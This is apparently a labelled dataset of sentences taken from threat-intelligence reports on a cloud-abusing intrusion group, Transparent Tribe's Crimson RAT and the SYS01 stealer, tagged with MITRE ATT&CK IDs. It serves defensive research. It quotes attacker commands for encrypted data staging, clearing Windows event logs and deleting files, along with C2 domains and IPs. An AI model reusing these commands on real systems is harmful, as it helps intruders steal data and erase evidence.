{"sentence": "The DLL’s used were side-loaded in memory on compromised systems.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Adversaries aiming to exfiltrate large amounts of data will often use one or more systems or storage locations for intermittent storage of the collected data.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "This process is called staging and is one of the of the activities that NCC Group and Fox-IT has observed in the analysed C2 traffic.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "We’ve seen the adversary staging data on a remote system or on the local system.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Most of the times the data is compressed and copied at the same time.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The adversary compresses and encrypts the data by using WinRAR from the command-line.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The filename of the command-line executable for WinRAR is RAR.exe by default.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "This activity group always uses a renamed version of rar.exe.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "We have observed the following filenames overlapping all intrusions: jucheck.exeRecordedTV.msteredo.tmpupdate.exemsadcs1.exe The adversary typically places the executables in the following folders: C:\\Users\\Public\\Libraries\\C:\\Users\\Public\\Videos\\C:\\Windows\\Temp\\ The following four different variants of the use of rar.exe as update.exe we have observed: update a -m5 -hp<password> <target_filename> <source> update a -m5 -r -hp<password> <target_filename> <source> update a -m5 -inul -hp<password> <target_filename> <source> update a -m5 -r -inul -hp<password> <target_filename> <source>", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The command lines parameters have the following effect: a = add to archive.m5 = use compression level", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "5.r = recurse subfolders.inul", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "We’ve seen the use of .css, .rar, .log.txt, and no extension for staged pieces of data.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "This time the adversary compresses the data as a gzipped tar-file: tar.gz.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Sometimes no file extension is used, or the file extension is .il.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Most of the times the files names are prepended with adsDL_ or contain the word “list”.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The files are staged in the home folder of the compromised user account: /home/<username>/ Command and control (TA0011)", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The adversary uses Cobalt Strike as framework to manage their compromised systems.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "We observed the use of Cobalt Strike’s C2 protocol encapsulated in DNS by the adversary in 2017 and 2018.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "In one intrusion we investigated, the victim had years of logging available of outgoing DNS-requests.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The DNS-responses weren’t logged.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "As the adversary used Cobalt Strike with DNS as command & control protocol, we were able to reconstruct more than two years of adversary activity.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "These periods match with the Chinese Golden Week holiday.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Figure 2: Heatmap of activity.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Times on the X-axis are in UTC.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The adversary also changed their domains for command & control around the same time they switched C2 protocols.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "They used a subdomain under a regular parent domain with a .com", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "TLD in 2017 and 2018, but they started using sub-domains under the parent domain appspot.com and azureedge.net in 2019.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The parent domain appspot.com is a domain owned by Google, and part of Google’s App Engine platform as a service.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Azureedge.net is a parent domain owned by Microsoft, and part of Microsoft’s Azure content delivery network.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Exfiltration (TA0010)", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The adversary uses the command and control channel to exfiltrate small amounts of data.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "This is usually information containing account details.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Once the larger chunks of data are compressed, encrypted, and staged, the data is exfiltrated using a custom built tool.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "This tool exfiltrates specified files to cloud storage web services.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Defense evasion (TA0005)", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The adversary attempts to clean-up some of the traces from their intrusions.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "For indicator removal on host: Timestomp the adversary uses a Windows version of the Linux touch command.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "This makes sure the used tools by the adversary blend in with the other files in the directory when shown in a timeline.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The same activity group?", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "A number of our intrusions involved tips from an industry partner who was able to correlate some of their upstream activity.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Some overlap is very generic for a lot for a lot of groups, like the use of Cobalt Strike, or exfiltration to OneDrive.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The use of appspot and azureedge domains as well.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The naming convention for their subdomains, tools and scripts overlap too.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "In summary: The adversary: Working hours match with GMT+8.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Infrastructure: appspot.com and azureedge.net for C2 with a strong overlap in naming convention for subdomains and actual overlap in some subdomains between intrusions.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Cobalt Strike.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The use of LOLBins.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "WinRAR.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Erasing Windows Event Logs, files and tasks.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Victim: Semiconductors and aviation industry.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "We considered labelling them as two activity groups, as of the difference in victims between various intrusions.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "But all the other overlap is strong enough for us to consider it as one group right now.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "This group might have gotten a new customer interested in different data which changed the intent and victims of the adversary.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Figure 3: Pyramid of pain by David J Bianco Fox-IT and NCC Group found some very strong overlap between what we’ve seen in our intrusion, and what Cycraft describes in their APT Group Chimera report and Blackhat presentation.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The bulk of the victims they describe are in different regions than we observed which is likely caused by field of view bias.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "SentinelOne also describes an attack and shares IOC’s that show strong overlap with the intrusions we investigated.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Conclusion At this moment we believe based on the evidence observed that the various intrusions were performed by the same group.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "We can only report what we observed: first they stole intellectual property in the high tech sector, later they stole record, both across geographical locations.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Answering if this group has an advanced persistent threat (APT) technique, has some sort of state affiliation, or where they come from goes beyond the scope of this write-up.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "The threat intelligence and IOC’s we are sharing are intended to help discover and present intrusions by this and adversaries.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "A word of thanks goes out to all the forensic experts, incident responders, and threat intelligence analysts who helped victims identifying and eradicating the adversary.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "And everybody from NCC Group and Fox-IT (part of NCC Group) for all the contributions to this article.", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "IOC TypeDataObservedNoteBinary MD5133a159e86ff48c59e79e67a3b740c1e–get.exe (GetHttpsInfo)Binary MD5328ba584bd06c3083e3a66cb47779eac–psloglist.exeBinary MD565cf35ddcb42c6ff5dc56d6259cc05f3–update.exe (WinRAR)Binary MD54d5440282b69453f4eb6232a1689dd4a–msadcs.exe (Cloud exfil tool)Binary MD590508ff4d2fc7bc968636c716d84e6b4–msadcs.exe (Cloud exfil tool)Binary MD5c9b8cab697f23e6ee9b1096e312e8573–jucheck.exe (WinRAR)Binary MD5dd138a8bc1d4254fed9638989da38ab1–msadcs.exe (NTDSAudit)C2 domainEuDbSyncUp[.]comQ4 2017 – Q4 0218–C2 domainUsMobileSos[.]comQ4 2017 – Q4 2018–C2 domainofficeeuupdate.appspot[.]comQ4 2017 – Q4 2018–C2 domainMsCupDb[.]comQ4 2017 – Q4 2018–C2 domainofficeeuropupd.appspot[.]comQ3 2019 – Q1 2020–C2 domainplatform-appses.appspot[.]comQ4 2019 – Q1 2020–C2 domainwatson-telemetry.azureedge[.]netQ4 2019 – Q1 2020–C2 domaineurope-s03213.appspot[.]com2019–C2 domaineustylejssync.appspot[.]com 2019–C2 domainfsdafdsfdsaflkjkxvzcuifsad.azureedge[.]net2019–C2 domainictsyncserver.appspot[.]com2019–C2 domainsowfksiw38f2aflwfif.azureedge[.]net 2019–Filenamefs_action*.bat–Task automationFilenamefs_action*.ps1–Task automationFilenameupdate.bat–Task automationFilenameupdate*.bat–Task automationFilename*dsinternals*.dll –Dsinternals lib files Filenameget.exe–GetHttpsInfoFilenameadsDL_<dir>.log–Staging dataFilenamegroup_membership.csv–SharpHound outputFilenamelocal_admins.csv–SharpHound outputFilenamemsadcs.exe–Various toolsFilenamemsadcs1.exe–WinRARFilenameOneDrive.exe–Cloud data exfilFilenamesessions.csv–SharpHound outputFilenameRecordedTV.ms–WinRARFilenameRecordedTV_*.csv–Staging dataFilenameRecordedTV_*.ms–Staging dataFilenameRecordedTV_*.rar–Staging dataFilenameRecordedTV_*.txt–Staging dataFilenameteredo.tmp–WinRARFilenameupdate.exe–WinRARFilenamehsperfdata.sqm–Archive with toolsFilenameupdate*.log–Staging dataHostnameDESKTOP-0FVJ37C–Origin of login to ExchangeIPv4 address47.75.0[.]147Q2", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "2019Password sprayIPv4 address59.47.4[.]27Q2 2019ADFS loginIPv4 address45.9.248[.]74Q2 2019Citrix loginIPv4 address172.111.210[.]53Q2 2019Citrix loginIPv4 address103.51.145[.]123 2019Initial access IPv4 address119.39.248[.]32 2019Initial accessIPv4 address120.227.35[.]98 2019Initial accessIPv4 address14.229.140[.]66 2019Mount the file-share IPv4 address172.111.210[.]53 2019Initial accessIPv4 address188.72.99[.]41 2019Initial accessIPv4 address45.9.248[.]74 2019Initial accessIPv4", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "<hostname>Account", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "discoverypsloglist.exe -accepteula -x security -s", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "“SYSTEM” -p RecordedTV_pdmp.txt –users-csv RecordedTV_users.csvBrowser bookmark discoverytype \\\\<hostname>\\c$\\Users\\<username>\\Favorites\\Links\\Bookmarks bar\\Imported From IE\\*citrix*Domain trust discoverynltest /domain_trustsFile and directory discoverydir \\\\<hostname>\\c$\\File and directory discoverydir /o:", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "d /x /s c:\\File and directory discoverydir /o:", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "|findstr taskhostProcess discoverytasklist /v", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "<hostname/ip>Query registryreg query", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "SettingsRemote system discoverytype \\\\<host>\\c$\\Users\\<username>\\Favorites\\Links\\Bookmarks bar\\Imported From IE\\*citrix*Remote system discoverytype", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "\\\\<host>\\<path>\\Cookies\\*ctx*Remote system discoveryreg query \\\\<host>\\HKU\\<SID>\\SOFTWARE\\Microsoft\\Terminal Server Client\\ServersRemote system discoverydir /o:", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "d /x \\\\<hostname>\\c$\\users\\<username>\\FavoritesRemote system discoverynet view \\\\hostnameRemote system discoverydsquery server -limit 0System information discoveryfsutil fsinfo drivesSystem information discoverysysteminfoSystem information discoveryvssadmin list shadowsSystem network configuration discoveryipconfigSystem network configuration discoveryipconfig /allSystem", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "network configuration discoveryping -n", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "1 -a <ip>System network configuration discoveryping -n", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "1 <hostname>System network configuration discoverytracert <ip>System network configuration discoverypathping <ip>System network connections discoverynetstat -ano | findstr ESTSystem Owner/User DiscoveryquserSystem service discoverynet startSystem service discoverynet useSystem time discoverytime /tSystem time discoverynet time \\\\<ip/hostname> Observed Defense evasion commands Indicator Removal on Host: Clear Windows Event Logs wevtutil cl \"Windows PowerShell\" wevtutil cl application wevtutil cl security wevtutil cl setup wevtutil cl system Indicator Removal on Host: File Deletion del /f/q *.csv *.bin del /f/q *.exe del /f/q *.exe *log.txt del /f/q *.ost del /f/q .rar update .txt del /f/q \\\\c$\\windows\\temp*.txt del /f/q \\\\c$\\Progra~1\\Common~1\\System\\msadc\\msadcs.dmp del /f/q msadcs* del /f/q psloglist.exe del /f/q update* del /f/q update* .txt del /f/q update.rar del /f/q update*rar del /f/q update12321312.rarschtasks /delete", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "/tn \"update\" /f shred -n 123 -z", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "PowerShellTechniqueT1059.001https://attack.mitre.org/techniques/T1059/001/Command and Scripting Interpreter:", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Services: Service ExecutionTechniqueT1569.002https://attack.mitre.org/techniques/T1569/002/Windows Management InstrumentationTechniqueT1047https://attack.mitre.org/techniques/T1047/PersistenceTacticTA0003https://attack.mitre.org/tactics/TA0003/External Remote ServicesTechniqueT1133https://attack.mitre.org/techniques/T1133/Hijack Execution Flow: DLL Side-LoadingTechniqueT1574.002https://attack.mitre.org/techniques/T1574/002/Valid AccountsTechniqueT1078https://attack.mitre.org/techniques/T1078/Privilege EscalationTacticTA0004https://attack.mitre.org/tactics/TA0004/Valid AccountsTechniqueT1078https://attack.mitre.org/techniques/T1078/Defense EvasionTacticTA0005https://attack.mitre.org/tactics/TA0005/Deobfuscate/Decode", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Pass the HashTechniqueT1550.002https://attack.mitre.org/techniques/T1550/002/Valid AccountsTechniqueT1078https://attack.mitre.org/techniques/T1078/Credential AccessTacticTA0006https://attack.mitre.org/tactics/TA0006/Brute Force: Password SprayingTechniqueT1110.003https://attack.mitre.org/techniques/T1110/003/Brute Force: Credential StuffingTechniqueT1110.004https://attack.mitre.org/techniques/T1110/004/OS Credential Dumping: LSASS MemoryTechniqueT1003.001https://attack.mitre.org/techniques/T1003/001/OS Credential Dumping:", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Service ScanningTechniqueT1046https://attack.mitre.org/techniques/T1046Network Share DiscoveryTechniqueT1135https://attack.mitre.org/techniques/T1135Permission Groups DiscoveryTechniqueT1069https://attack.mitre.org/techniques/T1069Process DiscoveryTechniqueT1057https://attack.mitre.org/techniques/T1057Query RegistryTechniqueT1012https://attack.mitre.org/techniques/T1012Remote System DiscoveryTechniqueT1018https://attack.mitre.org/techniques/T1018System Information DiscoveryTechniqueT1082https://attack.mitre.org/techniques/T1082System Network Configuration DiscoveryTechniqueT1016https://attack.mitre.org/techniques/T1016System Network Connections DiscoveryTechniqueT1049https://attack.mitre.org/techniques/T1049System Owner/User DiscoveryTechniqueT1033https://attack.mitre.org/techniques/T1033System Service DiscoveryTechniqueT1007https://attack.mitre.org/techniques/T1007System Time DiscoveryTechniqueT1124https://attack.mitre.org/techniques/T1124Lateral MovementTacticTA0008https://attack.mitre.org/tactics/TA0008/Lateral Tool TransferTechniqueT1570https://attack.mitre.org/techniques/T1570/Remote Services: SMB/Windows Admin SharesTechniqueT1021.002https://attack.mitre.org/techniques/T1021/002/Remote Services: SSHTechniqueT1021.004https://attack.mitre.org/techniques/T1021/004/Remote Services:", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Windows Remote ManagementTechniqueT1021.006https://attack.mitre.org/techniques/T1021/006/Use Alternate Authentication Material:", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Remote Data StagingTechniqueT1074.002https://attack.mitre.org/techniques/T1074/002/Email Collection: Local Email CollectionTechniqueT1114.001https://attack.mitre.org/techniques/T1114/001/Command and ControlTacticTA0011https://attack.mitre.org/tactics/TA0011/Application Layer Protocol: Web ProtocolsTechniqueT1071.001https://attack.mitre.org/techniques/T1071/001/Application Layer Protocol: DNSTechniqueT1071.004https://attack.mitre.org/techniques/T1071/004/Encrypted Channel:", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Asymmetric CryptographyTechniqueT1573.002https://attack.mitre.org/techniques/T1573/002/Protocol TunnelingTechniqueT1572https://attack.mitre.org/techniques/T1572/ExfiltrationTacticTA0010https://attack.mitre.org/tactics/TA0010/Automated ExfiltrationTechniqueT1020https://attack.mitre.org/techniques/T1020/Data Transfer Size LimitsTechniqueT1030https://attack.mitre.org/techniques/T1030/Exfiltration Over C2 ChannelTechniqueT1041https://attack.mitre.org/techniques/T1041/Exfiltration Over Web Service: Exfiltration to Cloud StorageTechniqueT1567.002https://attack.mitre.org/techniques/T1567/002/", "labels": [], "doc_title": "Abusing cloud services to fly under the radar"}
{"sentence": "Executive Summary SentinelLabs has been tracking a cluster of malicious documents that stage Crimson RAT, distributed by APT36 (Transparent Tribe).", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "We observed APT36 introducing OLE embedding to its typically used techniques for staging malware from lure documents and versioned changes to the implementation of Crimson RAT, indicating the ongoing evolution of APT36’s tactics and malware arsenal.", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "Overview SentinelLabs has been tracking a recently disclosed cluster of malicious Office documents that distribute Crimson RAT, used by the APT36 group (also known as Transparent Tribe) targeting the education sector.", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "Transparent Tribe is a suspected Pakistan-based threat group active since at least 2013.", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "Transparent Tribe has previously focused mainly on Indian military and government personnel, but it has recently expanded its scope to include educational institutions and students in the Indian subcontinent.", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "Crimson RAT is a consistent staple in the group’s malware arsenal the adversary uses in its campaigns.", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "Further, the PDB paths of some Crimson RAT samples we analyzed contain the word Wibemax, which is also contained in the PDB paths of Crimson RAT payloads observed in a previous Transparent Tribe campaign.", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "It is worth noting that there are high confidence assessments of Transparent Tribe leveraging third parties to support their operation, such as the Pakistani web hosting provider Zain Hosting.", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "Our analysis reinforces the assessment that closely monitoring the research endeavors of adversary nations has become an important objective for the adversary, underscoring the crucial role this activity plays in fulfilling the goals and aspirations of the authorities whose interests Transparent Tribe represents.", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "Consistent with known Transparent Tribe tactics, we observed that some of the documents have been hosted on file hosting services and attacker-created domains, such as s1.fileditch[.]ch, cloud-drive[.]store, and drive-phone[.]online.", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "It is important to note that cloud-drive[.]store and drive-phone[.]online have been previously linked to Transparent Tribe activities targeting the education sector and assessed as domains prepared for future use.", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "Further, drive-phone[.]online closely resembles the phone-drive[.]online domain recently observed hosting Transparent Tribe malware targeting Indian and Pakistani Android users.", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "The malicious documents we analyzed stage Crimson RAT using Microsoft Office macros or OLE embedding.", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "The macro code executes when the documents are opened, and its functionality is consistent with known Transparent Tribe macro variants.", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "Some macros insert text in the document, which is typically education-themed content relating to India.", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "Macro implementation Macro-inserted document text", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "Malicious documents that implement this technique require users to double-click a document element.", "labels": ["T1204.002"], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "The documents distributed by Transparent Tribe typically display an image (a “View Document” graphic) indicating that the document content is locked.", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "This lures users to double-click the graphic to view the content, which activates an OLE package that stores and executes Crimson RAT masquerading as an update process (MicrosoftUpdate.exe).", "labels": ["T1204.002"], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "The “View Document” graphic OLE stream that stores Crimson RAT Transparent Tribe is known to experiment with different malware staging techniques, which include distributing executables with embedded documents or documents that execute designated Crimson RAT loaders.", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "Crimson RAT Implementations We observed a variety of Crimson RAT .NET implementations, with compilation timestamps between July and September 2022.", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "The Crimson RAT payloads we analyzed use the richa-sharma.ddns[.]net domain for C2 purposes and support either 40 or 65 commands, most of which have been documented in previous research.", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "Features of Crimson RAT include exfiltrating system information, capturing screenshots, starting and stopping processes, and enumerating files and drives.", "labels": ["T1005", "T1083", "T1113"], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "A Crimson RAT command dispatch routine Some Crimson RAT variants are stripped of debug information, whereas others have PDB paths that contain a date stamp, the word Richa, which relates to the configured C2 domain, and the word Wibemax.", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "Portions of these PDB paths overlap those of Crimson RAT payloads observed in a previous Transparent Tribe campaign, such as D:\\Projects\\Wibemax\\WinP\\WinP\\obj\\Debug\\WinP.pdb and D:\\Projects\\Wibemax\\Windows RAT\\1 Windows 10 Client\\Win8P-Sunny\\2022-04-15-Win8P Sunny\\obj\\Debug\\FUJIKBattery.pdb.", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "We speculate that the R.S. components of the identifiers may relate to the configured C2 domain (richa-sharma.ddns[.]net) and the numerical components may specify a version (build) number.", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "This aligns with a documented Crimson RAT variant with the identifier S.L.2.2., which has used the sunnyleone.hopto[.]org domain for C2 purposes.", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "Most of the Crimson RAT variants we analyzed evaluate whether they execute at a machine named G551JW or DESKTOP-B83U7C5 and establish persistence by creating a registry key under \\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run only if the victim’s machine name differs.", "labels": ["T1547.001"], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "G551JW or DESKTOP-B83U7C5 may be the names of the machines where Crimson RAT developers have been running test executions.", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "We observed the use of the Eazfuscator obfuscator in a Crimson RAT sample named NewOrleans.", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "Evidence suggests that the Crimson RAT developers have patched the routine that evaluates the trial period of Eazfuscator to enable the execution of the malware after the trial period expires.", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "Eazfuscator trial period evaluation in NewOrleans Eazfuscator trial expiry message With previous variants of Crimson RAT obfuscated using Crypto Obfuscator, the addition of Eazfuscator to the obfuscation techniques used by Transparent Tribe highlights the continuous maintenance and development of the RAT.", "labels": ["T1027"], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "Conclusion Transparent Tribe is a highly motivated and persistent threat actor that regularly updates its malware arsenal, operational playbook, and targets.", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "Our analysis further demonstrates this characteristic of the group by spotlighting the adoption of OLE embedding as a technique for staging malware from lure documents and the Eazfuscator obfuscator to protect Crimson RAT implementations.", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "Transparent Tribe’s constantly changing operational and targeting strategies require constant vigilance to mitigate the threat posed by the group.", "labels": [], "doc_title": "Transparent Tribe APT36  PakistanAligned Threat Actor Expands Interest in Indian Education Sector"}
{"sentence": "Starting in November 2022, Morphisec has been tracking an advanced info stealer we have named “SYS01 stealer.”", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "SYS01 stealer uses similar lures and loading techniques to another information stealer recently dubbed S1deload by the Bitdefender group, but the actual payload (stealer) is different.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "We have seen SYS01 stealer attacking critical government infrastructure employees, manufacturing companies, and other industries.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "The threat actors behind the campaign are targeting Facebook business accounts by using Google ads and fake Facebook profiles that promote things like games, adult content, and cracked software, etc. to lure victims into downloading a malicious file.", "labels": ["T1204.002"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "The attack is designed to steal sensitive information, including login data, cookies, and Facebook ad and business account information.", "labels": ["T1005"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "The campaign was first seen in May 2022 and was initially attributed to the Ducktail operation by Zscaler.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "(This attribution was later discovered to be incorrect.)", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "In this blog we explore the various methods used to distribute SYS01 stealer.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "We show how the attacker advances the delivery chain and includes Rust, Python, PHP, and PHP advanced encoders to successfully evade security vendors over the past five months.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "The PHP scripts are responsible for stealing and exfiltrating information.", "labels": [], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
{"sentence": "The scripts are encoded using different techniques, which makes their analysis and detection harder.", "labels": ["T1027"], "doc_title": "SYS01 Stealer Will Steal Your Facebook Info"}
